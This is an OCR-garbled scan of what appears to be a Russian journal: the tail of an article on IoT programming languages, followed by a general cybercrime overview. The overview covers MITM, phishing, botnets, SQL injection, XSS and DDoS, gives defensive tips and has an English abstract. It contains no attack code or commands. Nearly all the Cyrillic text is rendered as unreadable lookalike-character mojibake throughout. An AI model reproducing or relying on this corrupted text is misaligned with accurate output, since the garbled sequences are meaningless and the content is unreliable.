MOJ/IEP’)KKa  O0BEKTHO-OPUEHTUPOBAHHOTO TPOrPAMMHPOBAHMS JIENAET €ro yAOOHBIM JIJIst
co3gaHus cJI0KHbBIX [0T-npusoxeHnii ¢ BBICOKOW CTENEHBIO JETAIN3aLUH.

Java crmaBuTCsSI CBOEH TOPTAaTMBHOCTBHIO M MPUHITUIIOM "write once, run anywhere", 4to
nenaet e€ ynoOHOM 1Jisi KpoccIiuiaThopMeHHON pazpaboTku. Eciu apXuTekTypa moaaepKuBaetT
BUPTYaIbHYIO MamuHy Java (JVM), To pa3paboTunku MOTYT OBITH YBEPEHBI, UTO UX KOJ Oyaer
OJIMHAKOBO paboTaTh Ha Bcex mardopmax. Java Taxke obnamaer OoraTbiMu OMOIHOTEKaMU U
WHCTPYMEHTaMH JUI pa3pabOTKH dHTEPIpai3-pelieHni, BKiItodas GyHKIIUN 0€30MMacHOCTH, YTO
nenaet e€ npuiiekatesibHol st loT-cuctem, TpeOyromux BeICOKOM HanéxHocTu. baittkoz Java
ONTUMHU3UPOBAH, YTO OOECMEYMBACT MPHEMJIEMYIO CKOPOCTb BBITIONHEHUS] Ha OOJBLUIMHCTBE
COBPEMEHHBIX YCTPOUCTB.

C ocTaércst OMHUM M3 OCHOBHBIX SI3BIKOB JUIsI pa3paOOTKU BCTPAMBAEMBIX CHUCTEM U
CUCTEMHOI'0 IPOrpaMMHUpPOBAaHUs Oyiarofapsi BBICOKOM IMPOM3BOJUTEIBHOCTH U BO3MOKHOCTH
HU3KOYPOBHEBOTO VYIIPABIEHHUSI pecypcaMu. SI3bIK IMIMPOKO HCHONB3YeTCs Kak B CHITY
HAKOIUICHHOW KOJOBOM 0a3bl, Tak M m3-3a cBoeil 3¢ ¢exTuBHOCTH. PaspaboTumku Moryr
HaMpsMYIO B3aMMOJICHCTBOBaTh C MaMAThIO M 'Kene3oM", UYTO OCOOEHHO TMIONIE3HO B
pecypco3arpaTtHeiX NpuioxkeHusx. brmarogaps stomy C 49acTo Ha3bIBalOT ''MEPEHOCHUMBIM
acceMOnepoM", 1 OH OCTa€TCsl aKTyaJ bHBIM BBIOOPOM JJIsi BCTPAaUBAEMBIX CUCTEM, HECMOTPSI Ha
TMOSIBJIEHUE HOBBIX SI3bIKOB.

JavaScript Tarke Haxomutr cBoé npumeHeHue B IoT, ocoOeHHO B NpoeKTax, rne
TpebyeTcs BeO-uHTepdeiic wim cepBepHbiec KoMoHeHThI. C rcnonbs3oBanueM Node.js JavaScript
MOXET YIpaBIATh JaTYMKaMH, [IUTI03aMH U cepBepHoi yacTbio loT-pemennit Ha OC Linux. 9to
JIeTIaeT ero TMOKMM BBIOOPOM JUTS YIIPABJICHHS KaK IMMOJIb30BATEIbCKUMH MHTEp(eicamMu, TaK U
cepBepHO dYacThlo B eauHOW cpexe. Hampumep, mukpokoHTposuiepbl Espruino u Tessel
MO3BOJISIIOT 3amyckaTh Ko Ha Node.js, uTo ympoIaeT pa3paboTKy M pacHIUpsieT BO3MOKHOCTU
JavaScript B IoT.

Lua gacto ynomunaetcsi B koHTekcTe [oT Omaromapsi cBoei MpoCcTOTe M CIOCOOHOCTH
MOJIePKUBATh CpeAcTBa onucanus AaHHbIX. Node.lua — nopt Node.js s Lua, co3nanHslif Ha
0aze obnery€éHHoro mHTeprperaropa Lua, mo3ossier Lua B3auMoeiicTBOBATh C YCTPOHCTBAMH
[0T u ynpaBiaTh UMH. DTOT SI3bIK HOAXOAMT JUIA MPUIIOKEHUH, I7Ie HEOOXOIMMa JIETKOBECHAs U
OBICTpast cpefia BHITIOTHEHMSL.

Go (Golang) mpuBnekaer pa3padOTYMKOB OOraToil CTaHIAPTHOH OHMONHOTEKON W
BCTPOCHHOW TMOJIEP)KKOM Mapaiienus3Ma, YTO JeJaeT €ro MOMyJIIPHBIM BBIOOPOM B
BBICOKOHArpy»eHHbIX cucteMax. Ero momymsipocts B IoT mocreneHHo pactér, 0cCOOEHHO B
3a/1a4ax, TPeOYIOIMMX BBICOKON IMPOU3BOIUTEIILHOCTH M OOpaOOTKH OOJBIIOr0 KOJUYECTBA
OJHOBPEMEHHBIX COEIMHEHUH.

PHPoC — cnenmanpHas Bepcuss PHP i mporpaMMupoBaHWs YHITOB, KOTOpas
OpPUEHTHpPOBaHA Ha pa3pabOTUMKOB, Y€ 3HakoMbix ¢ PHP. Ona BKiIIOUaeT BCTPOCHHBIC
HMHCTPYMEHTHI 111 paboThl ¢ [0T, uro ynpomaeT nepexos pa3paboTYMKOB ¢ BeO-pa3pabOTKH Ha
3agaun loT. Ilockonbky PHP mmpoko ucnone3yercs Ha cepBepax, PHPoC Taxxke nosBosisier
MIPUMEHSTH €ro JJIsl YIpaBJIeHus] MUKpocepBrucamMu Ha 6a3e Linux.

Swift ncnionb3yeTcs 1yt pa3pabOTKK MPUITOKEHHH [T 3KOCUCTEMBI Apple, 0cOOEHHO B
MpoeKkTax yMHOro aoma c mnojaepxkoi rmiarpopmel HomeKit. braromapst BCTpoeHHBIM
OoubnroTexkaM Uil MHTETpaluu ¢ yctpoiictBamu Apple, Swift craHOBUTCS ONTUMAaIbHBIM
BBIOOPOM 17151 IPUIIOKEHUH, TIPeHAa3HAYeHHBIX /U1 paboThI B sKocucTeme Apple.
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Takum o0Opa3zom, BBIOOp s3bIKa mporpamMmupoBaHus s [oT 3aBUCHUT OT YpOBHA
apXUTEKTYpbl, OCOOCHHOCTEeW ycTpoWcTBa W crneun¢uku mnpoekra. Python oGecneunBaer
ynoOCTBO U cKopocTh pa3zpabotkd, C u CH++ moaxomst uisi BbICOKOINPOH3BOIUTEIBHBIX
npuiioxkeHuii, Java obecnieunBaeT KpocciuarpopMeHHocTh, a JavaScript m Lua HaxomsaT
NpUMEHEHHE B BeO-uHTepdelricax M JErKOBECHBIX MPHIOKEHUAX. KaXaplii M3 3THX S3BIKOB
npeaaraeT YHUKalIbHble BO3MOYKHOCTH U MHCTPYMEHTBI, YTO MO3BOJISIET BHIOPATh ONTUMAIBHOE
pemienue st KoHkpeTHoro loT-mpoekTa.

*k*
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AHHOTAIINA

DTa CTaThs MOTPYXKACT HAC B OYPJIALIUN BOJOBOPOT KUOEPIPECTYMHOCTH — SIBIICHUS,
KOTOpO€, CJOBHO TEMHas TEHb, HABUCIO HaJ HWHPOPMAIMOHHBIM MPOCTPAHCTBOM,
MPEBPATUBIINCH, B OJHY M3 CaMbIX OCTPBHIX M HEOTJIOXHBIX YIPO3 COBPEMEHHOCTH. MBI
ucclienyeM JaOUPUHTBI KUOEPIPECTYIUICHUH, Pas3IisAabiBas UX KOBAPHBIE JIMKH: OT JEP3KUX
XaKepCKUX  PpEeHIoOB M paclIpoCTpaHEeHUs: LUGPOBBIX  BHPYCOB 1O  XHTPOYMHBIX
KHOEPMOIIICHHUYECTB U oOMaH4unBOro (ummara. Ocoboe BHUMaHUE OyIeT yIeNeHO aHaIu3y
cTpareruii OOppOBI C 3TUM HEBUAWMBIM BparoM, a Takke M3y4eHHUIO MPABOBBIX MEXaHU3MOB,
MPU3BAHHBIX O00Y3[aTh €ro pa3pylIUTEIbHYIO CHIy. MBI B3IJISIHEM Ha 0€3:KaJOCTHYIO
CTaTUCTHUKY, KOTOpasi, CJIOBHO MOJIHUS, OCBEIAET II100aIbHbIE U PErHOHATIbHbBIE MacIITaA0bI 3TOM
9yMBI, & TAKXKE MPEII0KUM JICHCTBEHHBIE PEKOMEH/IAINH, CTIOCOOHBIE 3aIIUTUTh KaK MPOCTBIX
TMOJTL30BATEIICH, TaK U MOT'YIIIECTBEHHBIE OpraHU3aIlK OT ATOW IU(PPOBOH YTPO3bI.

KnioueBble cJji0Ba: KUOEPIPECTYITHOCTh, XaKEPCKUH HATHUCK, HH(MOPMAIOHHAS
0€30IacHOCTh, TU(PPOBBIC XUIITHUKH.

Abstract

This article plunges us into the seething maelstrom of cybercrime, a phenomenon that,
like a dark shadow, hangs over the information space, turning into one of the most acute and
urgent threats of our time. We explore the labyrinths of cybercrime, looking at their insidious
faces: from daring hacker raids and the spread of digital viruses to clever cyber fraud and
deceptive phishing. Special attention will be paid to the analysis of strategies to combat this
invisible enemy, as well as the study of legal mechanisms designed to curb its destructive power.
We will take a look at the relentless statistics that illuminate the global and regional scale of this
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plague like lightning, as well as offer effective recommendations that can protect both ordinary
users and powerful organizations from this digital threat.
Keywords: cybercrime, hacker onslaught, information security, digital predators.

BBenenue

Hcroprsi KOMIBIOTEPHOM MNPECTYIMHOCTH BEIET CBOM OTCYET C CEPEAMHBI IPOILLIOTO
BEKa, KOIJla MepBble POCTKM HE3aKOHHOT'O IMPOHUKHOBEHHUSI B KOMITBIOTEPHBIE CUCTEMbI TOJIBKO
Havanmu mpoOuBathesa. C Tex mMop, MOAOOHO KOBApHOMY PpACTEHHIO, KHOEpIpeCTYIMHOCTb
paspociach 10 HEBEPOSITHBIX pa3MepoB, PACIyCTHB CBOU SIIOBHTHIE I[BETHI IO BCEMY
dpoBoMy Mupy. MHTEpHET, CIIOBHO IIOAOPOHAS TOYBA, CIIOCOOCTBOBAJ €€ MPOLBETAHUIO,
Ha/IeMB €€ HOBBIMHM MaclITabaMu U HU30LIPEeHHOCTHI0. CeromHs KHOEeprpecTymHOCTh — 3TO
pa3BETBIIEHHAS CETh YIpo3, POCTUPAIOIIAsACA OT XaKEPCKUX aTakK, CEIOIIUX XaoC B CUCTEMaX, U
pacnpoctpanenuss BpemoHocHoro I1O, momoOHOro mwdpoBol 3apaze, A0 AEP3KHX
KnOepMoIeHHnYecTB 1 MouHbIX DDoS-arak, cnocoOHBIX Mapann3oBaTh LENble CETH. OTH
MPECTYIUICHUS, TTOIOOHO O€3)KAIIOCTHBIM TPaOUTEINIsSIM, HAHOCSIT COKPYIIMTEIBHBIA yIIEpO Kak
OOBIYHBIM TIOJIB30BATENSIM, TaK M KPYINHbIM KOMIIAHMSAM, OCTaBisAsd 3a co00iMl ciex w3
(MHAHCOBBIX TMOTEPb, yTE€YEK KOH(DUACHIMANTLHOW HWHPOPMALIMM U TPOYMX HETATUBHBIX
nocnenctBuid. DddextuBHas Ooprba ¢ 3Tol 1HM(POBOM yrpo3oil TpeOyeT HE TOJIBKO
MOCTOSIHHOTO ~ COBEPIICHCTBOBAHUS KAaK 3alllUTHBIX TEXHONOTHM, TaK W TPaBOBBIX
MHCTPYMEHTOB, HO M OCO3HAHMsI BaXKHOCTHU 3TOM OWUTBBI KaX/IbIM U3 HaC.

I'mo6anbhas [udposas Yrposa: KubepnpectymHocts kak Bei3oB UenosedecTBy

[TpoGniema, KOTOPYIO MBI paccMaTpuBaeM, — 3TO HE MPOCTO PsIOBOE HEYNOOCTBO, a
rnobaiibHasi yrpo3a, HaBUCIIAs HaJ BCeM deJoBeuecTBOM. KubeprpecTymHOCTh — CIOBHO
HEBUJIUMBIN Bpar, Kpaayluics B TEHSX LMU(POBOro Mupa, CTaBSIIMN IMOJ yHap HE TOJIBKO
TOCYAApCTBEHHYIO U JTMUHYIO 0€30MacHOCTh, HO U CaMy CTaOMJILHOCTH HAIIMX YKOHOMHYECKHUX
cucteM. C KaXIbIM HOBBIM TIOAKIIOYEHHBIM K WHTEPHETY YCTPOMCTBOM, C KaKIbIM BHTKOM
pa3BUTHS UHPOPMAIIMOHHBIX TEXHOJOTHH, IIymHajblla KUOEPHPECTYIMHOCTH OXBATHIBAIOT BCE
OOJIBIIYIO TEPPUTOPHIO, PUOOPETAsT YTPOKAIOUINI TUIAHETAPHBIA pa3Max. 3JI0yMBIIUICHHUKH,
CIIOBHO MCKYCHBIE MAPHOHETOUYHUKH, UCTIONB3YIOT BCE OOiee U3OIIPEHHBIE U CII0XKHbBIE METO/IbI,
9YTOOBI MPOHUKATh B 3alUIIEHHBIE CUCTEMBI M CETH, CO3/1aBasi OECIPELEIEHTHBIE BBI30BbI /IS
Ou3Heca, TOCYIapCTBEHHBIX MHCTUTYTOB M, KOHEYHO, Ka)K/I0T0 U3 Hac.

OnHUM U3 KOBAapHBIX ACHEKTOB ATOM MpPOOJIEMbI SIBISETCS €€ TPaHUIbl HE 3HAIOIIMN
xapakrep. Kubeparaku, CIOBHO MPU3paKu, HE MPH3HAIOT FOCYAAPCTBEHHBIX IPAaHMLI, TTO3BOJISIS
3JI0YMBIIIJICHHUKAM, CJIIOBHO LU(POBBIM KOYEBHUKAM, JIEMCTBOBAThH U3 JIFOOOW TOUKU IUIAHETHI,
YTO MpPEeBpAIlacT UX MOMMKY B HACTOSIIYIO TOJIOBOJIOMKY. bonee Toro, st KubepnpecTynHble
CeTH, MoJ00HO MayTHUHE, YacTO CIUIETEHbl U3 YYAaCTHHUKOB, HAXOJSAILIUXCS B Pa3HbIX YrOJIKax
MHpa, YTO JeJlaeT HMX pacKpbITHE W IIPEclieIoBaHUE KpailHe 3aTpyJHHUTENBHBIM. OTOT
MEXIyHapOIHBIA Xapakrep LU(GPOBONH BOWHBI TPeOYET CIaXEHHbIX M CKOOPIMHHUPOBAHHBIX
JCUCTBHUI Ha YPOBHE MEKIYHAPOIHBIX OpPTaHU3AIMN M MPABUTEIBCTB, UTOOBI 1aTh JOCTONHBIN
OTIIOP 3TOM YIrpo3e.

OKOHOMUYECKHI  ymiepd, HAHOCUMBIH KHOEpHPECTYITHOCTBIO, TAaKXKE  SIBISETCS
37I0BEIIMM CBHJIETEJILCTBOM MacIiTaboB mpoOsiembl. [lo caMblM CKpPOMHBIM — OLIEHKAM,
©KEroJJHble MOTepH OT KHOEPHPECTYIUIEHUH JOCTUraloT TPWILIHOHOB JIOJUIApOB, HAHOCS
COKPYIIMTEJIbHBIN y/Iap HE TOJBKO 110 TUIAHTCKUM KOPHOPALUSAM, HO U IO MAJIOMY U CPETHEMY
Ou3Hecy, CJIOBHO OCTaBIIsisl MOCHE ce0sl BBDKOKEHHYIO MYCTHIHIO. YTEUKH KOH(HICHIMATBHBIX
JAHHBIX, JEpP3KUEe B3JIOMbl W JIpyrHe KOBapHbIE aTaKM MOTYT IPUBECTH KOMIIAHMM K
HETONPaBUMbIM (PUHAHCOBBIM TOTEPSM, & B HEKOTOPBIX CIyYasX JaXe K MOJHOMY Kpaxy U
OaHKPOTCTBY. OJTH TparduecKue IMOCIEICTBUSA, CIOBHO TEHb, HABHUCAIOT HAJ SKOHOMMKOM,
3aMeIUIsisi €€ POCT M BBI3BIBAas COKpAaIIeHHE pabOouyMX MECT, KaK BOJHBI, TacsIIue IUIams
pa3BUTHSL.

Oco0eHHO OCTPO CTOMT BOIPOC O TOM, YTO KHOEPIPECTYMHOCTh, CJIOBHO 3JIOBEIIUI
XMIIHMK, HalleJIeHa Ha HaIlMOHAJbHYIO0 0e30macHOCTh. B mocnennee BpeMst y4acTUIINCh Cilydau
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aTak Ha TOCYJApPCTBEHHBIC YUPEXKIEHUS M OOBEKThl KPUTUYECKON HH(PACTPYKTyphl, CIOBHO
MOIBITKH TOJI0pBaTh (PyHIAMEHT OOIIECTBA, YTO MOXKET IMPUBECTH K CEPHE3HBIM MOCIEICTBUAM
JUTS PaOOThI JKU3HEHHO BaYKHBIX OTpaciiel u 0e30macHOCTH rpaxaaH. KubepaTakun Ha cUCTEMBI
3[IpaBOOXPAHEHHs, YHEPreTHUECKON OTpPACIH, TPAHCIIOPTHBIE CETH U OOOPOHHBIE CTPYKTYPHI
MOTYT BBI3BAaTh MaclTaOHblE cOOHW, MOAOOHO IIyHAMH, CMBIBAIOIIEMY BCE Ha CBOEM IYTH, U
MIOCTAaBUTh MO YTPO3Y *KU3HU U 37I0pOBbE JI0JIel. B 3TOM KOHTEKCTe KHOeppecTyImHOCTh — 3TO
HE TPOCTO [JOCajHas IOMeXa, a KIIOUeBOW BBI30B COBPEMEHHOCTH, TpeOyroImuit
HE3aMEeJUIUTENIHOIO BHUMAHUS CO CTOPOHBI T'OCYIapCTB M MEXKTYHAPOAHBIX OpraHU3aluil.

He ctouT 3a0piBaTh U 0 TOM, YTO KHOEPIPECTYITHOCTh, CIIOBHO 3JI0M T€HUH, yrpoKaeT
JMYHOM O€30MacHOCTH KakAoro u3 Hac. KuOepMOIeHHHMUYECTBO, KpaKH JIMYHBIX JTaHHBIX,
IIaHTaK — BCE ATU MPECTYIUICHUS HE TOJBKO CTaBAT MOA yAap (huHaHCOBOE Oyaromoiydve
Joiel, HO M TOAPBIBAIOT MX ICUXUYECKOE 3/10pOBbE, KaK He3axuparoulas pana. JKepTBbl
KuOepaTak MOTYT CTOJKHYTBhCS C CEPbE3HBIMHU IMCHUXOJIOTHUYECKUMH MpoOIeMaMH, TaKUMHU Kak
JieTIpeccusi, TPEBOXKHBIE pacCTpOiicTBa M YyBCTBO IIyOOKOH ys3BuMoctu. Hame o6miectBo
00s513aHO pazpadoTaTh KOMIUIEKCHBIE MEphI MOJJIEPKKUA U 3alUThI, YTOObI HE OCTaBHUTh 3TUX
JI0/iel HaeIMHE CO CBOMMU CTPaxaMH.

Kubepsoiinel 2023: ApceHasn yrpo3 U 3aliThl

B 2023 rony Mbl XKHMBEM B 3MOXY, I/ie UU(GPOBOM MHUpP KHUIIUT OT HOBBIX, Bce Oolee
M30LIPeHHBIX yrpo3. Kubepartaku, CIOBHO HEBUANMBIE IPU3PAKH, CTATH HEOTHEMIIEMON YacThIO
HAIller0 OHJIANH-ObITHSA, CIIOCOOHBIE HAHOCUTH COKPYIIMUTENIbHBIE YyHapbhl KaK OTAEIbHBIM
MOJIb30BATEIISIM, TaK M II€JbIM KopropanusM. B stom 3bi0koM 1m¢ppoBoM danamadre, rae
OIAaCHOCTh TaMTCS 3a KaXKIbIM KJIMKOM, IOHUMaHHE apceHajla KUOepIpecTyITHUKOB U METOI0B
3alUTHI CTAHOBHUTCS HE TIPOCTO KETATeIbHBIM, a )KH3HEHHO HEOOXOIUMBIM HABBIKOM.

1.  “Yenosek-no-cepenune”: [lInmuonax B [ludpoom 3azepkanne. [Ipencrasete,
YTO KTO-TO HEBUIMMBIA, CIIOBHO WCKYCHBIA IIMHOH, MEPEXBATHIBAET Ballld
camble COKpOBEHHbIE COOOIIEHUS — 3TO U €CTh “‘aTaka yeloBeKa rocepenuHe”
(Man-in-the-Middle, MITM). DrtoT KOBapHBIA CICHAPUH TO3BOJIAET
3JIOYMBIIIJICHHUKY, TOJO0OHO TEHEBOMY WIPOKY, IIepeXBaThlBaTh Ballly
HEPErUCcKy ¢ COOECeHUKOM, MOIydast JOCTYN K BalllUM CaMbIM YS3BHMBIM
TalHaM: TIapOJISIM, HOMepaM KPEIUTHBIX KapT U JIPYTUM KOH(HICHIIHATbHBIM
JMaHHBIM. OTH aTaKW, CIIOBHO KOBapHas JIOBYIIKA, MOTYT MPOUCXOIUTH
HE3aMETHO, TO03TOMY, YTOObI W30€XaTh TOMAJaHWs B OTOT KallKaH,
HEOOXOMMO HCIIOJIb30BaTh 3allM(pOBaHHbIE KaHaJbl CBSI3M W W30€rarb
UCTIOIB30BaHus oOmenoctynHbpix Wi-Fi cerelt, ocoOeHHO Tpy MpOBEIECHUHN
oreparuii, TpeOyroImux 0co00i 0CTOPOKHOCTH.

2.  “@ummnrossie cetn’”: YinoBku [ndpoBbix MomeHHNKOB. DUIMHT U €ro
OoJiee M3OLIPEHHBIN POACTBEHHUK — II€E€BOW (DUILMHI — 3TO CJIOBHO CETH,
pacKuHyTble IUQPPOBHIMU  MOILIEHHMKAMH, YTOObI BBUIOBUTH  BAalld
MIEPCOHANILHBIC JIaHHBIC. 3JIOYMBIIUICHHUKH, CIIOBHO HCKYCHBIC MMHUTATOPHI,
pacchuialoT COOOIIEHHUS, KOTOpbIE BBIMJISIAAT KakK IMOJUIMHHBIE MHChbMa OT
HAJCKHBIX HCTOYHMKOB — OaHKOB, HM3BECTHbIX KoMmaHuil. WX memp —
3aCTaBUThH BAac BbIIATh CBOM JIMUHBIC aHHBIE. B ciydae meneBoro ¢uinmHra,
OHU CTAHOBSATCSI HACTOSIIIIMMU CHIIIUKAMH, JOCKOHAJIIBHO N3y4asi CBOMX JKEPTB,
yToOBbl cHenaTh CBOM COOOIICHHS MAaKCUMAalbHO NPaBAONOJOOHBIMH U
00MaHYMBBIMH. 3AIIUTUTHCA OT 3TOW IMU(POBON HAKHUBKU MOXKHO, MPOSIBIISS
ONUTENbHOCTh, THIATENBHO TMPOBEpss OTHpaBUTENe W He J0Bepss
HOJI03PUTENIBHBIM CCHUIKAM.

3. “Araku Ha xony”: Lludpossie JloBymku B Cetn. He MeHee onacHbI “aTaku Ha
xony” (Drive-By), momo0Hble MUHAM-JIOBYIITKaM, MOACTEPETAIONINM Bac Ha
npoctopax MHTepHeTa. DTH KOBapHbIE aTaku, KaK TalHbIC ar€HTHI, HE3AMETHO
NPOHMKAIOT B BAallle YCTPOMCTBO, KOTJa Bbl NMPOCTO MOCEIIAETE 3apa’KEHHBIN
CaiiT. 3IOYMBIIUICHHUKH HCHONB3YIOT YA3BUMOCTH B  MPOTrPaMMHOM
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obecrieueHn , YTOObI IOCTAaBUTh BPEIOHOCHBINA KO Ha Ballle YCTPOMCTBO 0e3
Bamiero Beaoma. s MPOTHBOCTOSHHS 3TOW CKPBITOW yrpo3e HEOOXOIUMO
pPETYIIIpHO  OOHOBIIATH ~ BAllly CHCTEMY M HWCIOIB30BaTh  MOIIIHBIE
AHTUBUPYCHBIE TIPOTPAMMBI, KaK IIUT MIPOTHB HUPPOBBIX aTaK.

udpossie yrpo3sl: botsl, Manumymanuu u BpegoHocHoe [10

B mmdpoBoii BceneHHON, KUIIAIIEeH CKPBITBIMU OMACHOCTSIMH, aTaKi ¢ UCIIOJIh30BAaHUEM
00THETOB, coluaabHas HHxKeHepust, SQL-UHbEKIMN U MajBapb — 3TO BCETO JIMIIb HECKOJIBKO
yIpo3, TOCTOSIHHO TMOJICTEpPErarolMX Hac B ceTdu. [loHMMaHHe 3THX METOAOB, a TaKkKe
NPUMEHEHHUE COOTBETCTBYIOIIMX Mep O€30MacHOCTHM — 3TO HE IMPOCTO OJiarue TMOKENaHus, a
HEOOXOAMMOCTh B COBPEMEHHOM IIU(PPOBOM MUpE.

1.

boruer-apmuu: Apmus 3om6u B Cetu. ATaku ¢ UCTIONB30BaHHEM OOTHETOB —
3TO, CJIOBHO apmusa 30MOuM, yIpaBisiemMas W3 €IWHOTO  IIeHTpa.
370yMBIIIJICHHUKH, KaK MOTYIIECTBEHHbIE TI'eHEepasibl, 0€3 Hallero BeaoMa
3apakaloT HammM ycTpoicTBa (“00TOB”), mpeBpalias uxX B Opyaus Ul aTak,
pacChUIKM cHama, Kpaku JaHHBIX. OTH ‘‘30MOMpOBaHHBIE” YCTpOMCTBA,
MOJUMHSISICH 37I0BEIIEMYy KOMaHAOBaHHIO, JACUCTBYIOT 0O€3 HAIIero COTIacusl.
Kak 3ammTuthcs OT momoOHBIX yrpo3? Crhemure 3a OOHOBICHUSMH
NporpaMMHOTO  obecrieueHus, OyIbTe BHUMATEIbHbI C HEW3BECTHBIMU
CChUTKaMU U (haitmamMu. DTO CIOBHO YKpEIUIeHHe OOOPOHUTEIBHBIX PyOekeit
BaIlei muppoBoi KPETOCTH.

Commanpras Umxenepus: NckycctBo ObOmana. ConmanbHas WHXCHEPHS —
3TO, CIIOBHO MAaCTepCTBO WJUTIO3MM, TO3BOJISIONIEE 370YMBIIUIEHHUKAM
00MaHyTh Bac, 3aCTaBUTh PACKPHITh KOH(DUACHIMAIBbHYIO HHpOpMaImio. OHH
MOTYT MAaHHUITYJUPOBATh BaMHU uepe3 TeleOHHBIE 3BOHKH, JIIEKTPOHHBIC
NUChbMa WM JaXe JIMYHBIE BCTPEYM, WCIONB3Ysl Balle JOBEpHE W
no0poskenaTensHOCTh. bynbre 6autensupl! TiarenbHO MpoBEpSTE TUYHOCTH
TeX, KTO 3alpalidBaeT Bally HH(MOPMAIMIO, HE IOJIaBAaiTeCh NaBIICHUIO,
JTa’Ke €CIIM CUTYalUs KQKETCs CTPAHHOM MITH MOJJO3PUTETHHOI.
SQL-uabeximu: B3mom baser [lanHbix. SQL-MHBEKIIMH — 3TO, CIIOBHO
CKPBITHII BXOJl B 0a3y JaHHBIX, KOTOPBIA 37TOYMBIIIICHHUKH UIYT U HAXOJIST.
OHU UCTIONB3YIOT YSI3BUMOCTH B  BEO-TIPHJIOKEHUSX, UTOOBI BBECTH
BPEZIOHOCHBIE KOMaH/bI B 0a3y JaHHBIX. TO OTKPBIBAET UM JOCTYH K Balleil
KOHQUIEHIMATFHOH WH(pOpPMAIMKA WM, 4YTO eIe XYyXe, K TOJHOMY
yIpaBieHuio Bamel cuctemoil. Kak sanmrurscs? Mcnonesyiite Oe3omacHoe
HalMCcaHNe KOoJa W TINATEIBHO TPOBEPSHTE BBOAWMBIE IaHHBIC, TPUMEHSIS
napaMeTpU30BaHHbINA BBOJ M HSKPAaHUPOBAHUE CHIELIMATIBHBIX CUMBOJIOB.
Malware: I{udposas Yepnas Maru. Malware (Bpemonocuoe I1O0) — »srto,
CJIOBHO YepHasi Marusi, CriocoOHas HAHECTH HENONpPAaBUMBIN yIIepO BalluM
YCTPOWCTBaM M YKPAcTh BAIllM JITYHBIC TaHHBIC. Pa3muuHble BUIBI MajBapH
(BUpYCBI, 4Y€pBH, TPOSHbI) MOTYT MPOHMKHYTh B Bally CHUCTEMY 4epes3
COMHUTEJIbHBIE CCBHUIKA WJIH BJIOXKEHHUA. byabTe octopoxkubl! Hcnonb3yiite
HaJIS)KHbIE aHTUBUPYCHBIE MPOrpaMMbl U coOMofaiiTe mpaBuia LU(POBOIA
TUTUEHbL. JTO, CJIOBHO LIMT U M€Y, KOTOpbIe MOMOTYT BaM 3alllUTUTh CBOU
JIaHHBIC U YCTPOUCTBA.

Ku6epyrpossr: Ot XSS 1o DDoS — Kak 3amututh cedst B indpoBoM MHUpe

B coBpemennoM 1mm¢ppoBoM naHmmadre KuOepaTaku — HE HPOCTO TEOpETHUECKas
yIpo3a, a peajbHas ONAcHOCTb, MOJCTEPErarouias Hac Ha KaxaoMm Imary. OT XHUTpBIX CXeM
MEKCaUTOBOT'O CKPHITTHHTIA 10 MOUIHbIX DDoS-atak — apceHan KubeprnpecTyTHUKOB MOCTOSIHHO
MONOJIHACTCS. HOBBIMH, BCE OoJiee M3OLIPEHHBIMH MerojaMu. lloHMMaHue 3THX yrpo3 Hu
pa3paboTKa CTpaTeruii 3alUThl — 3TO HE MPOCTO BOMPOC OE30MACHOCTH, HO U BOIPOC
BBDKMBaHMA B IU(PPOBOM MUpE.
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1.

MesxcaiitoBbiii ckpunTHHT (XSS): B3nom uepes “mosepue”. MexcalToBbII
ckpunTHHr (XSS) — 93TO, CIOBHO XWUTPOYMHBIM TpPIOK, HO3BOJIIOLIUI
3JI0yMBIIIJIEHHUKAM BCTpPauWBaTh BPEIOHOCHBI KO/ Ha JIETalbHBIC CAMTHI.
DTOT KO/, BBINOJIHIAEMBIN B Opay3epax MOIb30BaTENCH, MOXKET CTaTh KIIIOUOM
K Kpake JaHHBIX — KyKH, TapoJield, Jpyroil KoH(UICHIMATHLHOM
uHpopmanmn. Kax 3anmrurscs? PazpaboTurky JOKHBI COOIONATH CTPOTHE
MIPUHIMITEI 0€30MaCHOTO KOAMPOBAaHMS, 00padaThiBasi KaXKIbli BBOJ JTaHHBIX.
[Nonb30Batenu TOMKHBI MPOSBIATH OAUTETBHOCTD, N30€Tast MOA03PUTEIBHBIX
CCBUIOK.

Ataxu Ha mapomu: Criomannsie 3amku [udpoBoro Mupa. Ataku Ha naponu
— 3TO NOCTOSIHHAsI Yrpo3a, KOTOPYIO 3JI0YMBIIUICHHUKH MBITAIOTCS B3JIOMATh
BaiM yudeTHsie 3anucu. Ot brute-force arak (mogdopa maposei nepedopom)
JI0 UCTIOJIb30BaHUsI 06a3 YKPaJEHHBIX Maposiel — METO/Ibl, KAK MHCTPYMEHTHI,
HNPUMEHSIOTCS JUIsl IPOHMKHOBEHUS B Ballld akkayHTbl. Kak 3amumtuth ce0s?
Hcnonp3yiiTe HaJaeKHblE, CIOXKHbIE NApOJIM, YHUKAJIbHBIE U KaKA0H
yuyeTHOM 3anucu. Mcnonb3yiite MeHepkepsbl maposiel, Y4ToObl YIPOCTUTh STOT
npoliecc, a Takxke coOMojaiiTe Bce MOIUTHYECKUE MTpaBuila 6€30MacHOCTH !
Ataku “otkaz B oocimyxuBanun’” (DoS): Ileperpyzka Cuctem. DoS-atakw,
KaK HaBOJHEHHWE, HaIIpaBJIEeHbl Ha IEperpy3Ky pecypcoB BeO-CalTOB WU
CEpBUCOB. 3JIOYMBIIUICHHUKH, HCHOJb3YS MOLIHBIM MOTOK Tpaduka,
OnokupyroT JocTyn mnojib3oBarenedl. Kak 3ammrute cebs? Kommnanum
JOJDKHBl ~ WCMOJNb30BaTh  CNEUUATU3UPOBAHHBIE  WHCTPYMEHTHI IS
¢unbTpanuu Tpaduka, a TaKKe BHEIPATb CUCTEMBl PE3EPBUPOBAHUS U
OTKa30yCTONYMBOCTH, MIPEJOTBpallas NoJ00HbIE HaaJeHHS.
Pacnipenenénnsle araku “otka3 B oocmyxuBanun” (DDoS): Apmus “3omou”
npotuB CepepoB. DD0S-aTaku, CIIOBHO apMusi 30MOMPOBAaHHBIX YCTPONCTB,
CO3/IAI0T JIaBHHY TpaduKa, Mapaau3yIoOIlyl0 LEJNEBOM pecypc. DTH aTaku
WCTONB3YIOTCSL JJIi Xaoca, OTBJICYEHMsS BHHUMaHUS, JUOO MPOCTO s
paspymenus. Kak 3ammtuthcss? HeoOXoauMbl  MOIIHBIE — CHUCTEMBI
KuOep3aluThl U MOHUTOPUHTA, YTOOBI BBISBISATH W OJOKMPOBaTH TaKue
MacCHUpPOBaHHBIE aTaKH.

